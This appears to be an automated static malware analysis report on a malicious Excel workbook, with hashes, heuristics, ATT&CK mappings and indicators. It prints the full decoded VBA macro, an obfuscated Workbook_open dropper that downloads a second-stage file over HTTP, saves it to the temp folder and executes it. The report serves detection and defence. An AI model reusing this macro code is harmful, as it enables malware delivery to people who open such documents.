Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e6f61b17d9e946b…

MALICIOUS

Office (OLE)

164.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2019-01-12
MD5: 2efde05ae55eecfeff58ebf27713229a SHA-1: 4b5024622f64e65731639b385da38fe2cdbb129b SHA-256: 5e6f61b17d9e946bde6baa9e56439491d607b3244609fba29ac03e9f70797189
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macro downloads a file using HTTP and saves it to disk. The Workbook_open macro executes 'CreateObject("microsoft.xmlhttp")' and 'CreateObject("Shell.Application")', strongly suggesting the intent to download and execute a second-stage payload. The reconstructed URL 'http://mÄllÂÅÅÄÙm-ÖÔÀdÂÔÕ.ÄÅÃÒ/_ÒÙÖÓÙÖ999²99F.ÂÛÂ' and the temporary file path '%TEMP%\GåF¶åGN.ÂÛÂ' are the primary indicators of compromise.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    umLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrkTBEYBFTezMzmMjiKsJvzYzKE = sJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnWtdotqBShpqzXSvx.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set KtsgRtPcqXpcgFtrlDAWtRWTfixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHB = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ViyNjWgDyceKfksiNVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdN = Environ("tmp") + FGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrk("\GåF¶åGN.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5623 bytes
SHA-256: 7697859259f4637eebd0804806972d3c7d8d1b18d5b90ef0110a1ded95f01569
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub zdgdsgsdgs()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Dim ViyNjWgDyceKfksiNVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdN
Dim KtsgRtPcqXpcgFtrlDAWtRWTfixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHB
Set KtsgRtPcqXpcgFtrlDAWtRWTfixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHB = CreateObject("Shell.Application")

Dim sJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnWtdotqBShpqzXSvx
Set sJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnWtdotqBShpqzXSvx = CreateObject("microsoft.xmlhttp")

ViyNjWgDyceKfksiNVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdN = Environ("tmp") + FGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrk("\GåF¶åGN.ÂÛÂ")
sJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnWtdotqBShpqzXSvx.Open "GET", FGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrk("hÖÖÓ://mÄllÂÅÅÄÙm-ÖÔÀdÂÔÕ.ÄÅÃÒ/_ÒÙÖÓÙÖ999²99F.ÂÛÂ "), False
sJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnWtdotqBShpqzXSvx.send
umLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrkTBEYBFTezMzmMjiKsJvzYzKE = sJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnWtdotqBShpqzXSvx.responseBody
If sJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnWtdotqBShpqzXSvx.Status = 200 Then
Set VmceVvXCAjWriYnxgfSSuCOrKqOgsgeXqnJtEKGRjkFGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwu = CreateObject("adodb.stream")
VmceVvXCAjWriYnxgfSSuCOrKqOgsgeXqnJtEKGRjkFGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwu.Open
VmceVvXCAjWriYnxgfSSuCOrKqOgsgeXqnJtEKGRjkFGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwu.Type = 1
VmceVvXCAjWriYnxgfSSuCOrKqOgsgeXqnJtEKGRjkFGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwu.Write umLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrkTBEYBFTezMzmMjiKsJvzYzKE
VmceVvXCAjWriYnxgfSSuCOrKqOgsgeXqnJtEKGRjkFGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwu.SaveToFile ViyNjWgDyceKfksiNVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdN, 2
VmceVvXCAjWriYnxgfSSuCOrKqOgsgeXqnJtEKGRjkFGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwu.Close
End If
KtsgRtPcqXpcgFtrlDAWtRWTfixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHB.Open (ViyNjWgDyceKfksiNVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdN)


End Sub

    Public Function FGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrk(TBEYBFTezMzmMjiKsJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnW)
        UcsSSiXbSsUzxfTofVjtdcPPrzLoHnKdpdbUnkGqBGDOghCDMlRvKrxQYOupqoteWeIjUlprjIlPAvkEvmzKtsgRtPcqXpcgF = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        trlDAWtRWTfixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHBTQnJiZViyNjWgDyceKfksi = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(TBEYBFTezMzmMjiKsJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnW)
            NVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdNUcsSSiXbSs = InStr(UcsSSiXbSsUzxfTofVjtdcPPrzLoHnKdpdbUnkGqBGDOghCDMlRvKrxQYOupqoteWeIjUlprjIlPAvkEvmzKtsgRtPcqXpcgF, Mid(TBEYBFTezMzmMjiKsJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnW, i, 1))
            If NVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdNUcsSSiXbSs > 0 Then
                UzxfTofVjtdcPPrzLoHnKdpdbUnkGqBGDOghCDMlRvKrxQYOupqoteWeIjUlprjIlPAvkEvmzKtsgRtPcqXpcgFtrlDAWtRWTf = Mid(trlDAWtRWTfixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHBTQnJiZViyNjWgDyceKfksi, NVWUZxELpCBRVYPpExhORmOShdLZzzZjvXrWuMmMXRkTqZkqmyPemnwTOsubhAIyeYZXdNUcsSSiXbSs, 1)
                ixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHBTQnJiZViyNjWgDyceKfksiNVWUZxELpCBRVYPpExh = ixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHBTQnJiZViyNjWgDyceKfksiNVWUZxELpCBRVYPpExh + UzxfTofVjtdcPPrzLoHnKdpdbUnkGqBGDOghCDMlRvKrxQYOupqoteWeIjUlprjIlPAvkEvmzKtsgRtPcqXpcgFtrlDAWtRWTf
            Else
                ixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHBTQnJiZViyNjWgDyceKfksiNVWUZxELpCBRVYPpExh = ixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHBTQnJiZViyNjWgDyceKfksiNVWUZxELpCBRVYPpExh + Mid(TBEYBFTezMzmMjiKsJvzYzKEWTqMldYlCQmZjGBfhNinvlQZZXdAHOtFFUYcTsHAkRUpRVkhPdCCemybuZxPpPbUnW, i, 1)
            End If
        Next
        FGQoUyNuATcRxstrwhbiLnXosumLoSDznIypDNwwjVwSgubtfjIwuoGDZwUbWilAVWhqlOexRkfUAIJHMyrydppEILCcrk = ixSTdniLbuNhcQwFGEJuovYmlBFHzYogQyAVyCQbvJwjJgfHoFswVwHBTQnJiZViyNjWgDyceKfksiNVWUZxELpCBRVYPpExh
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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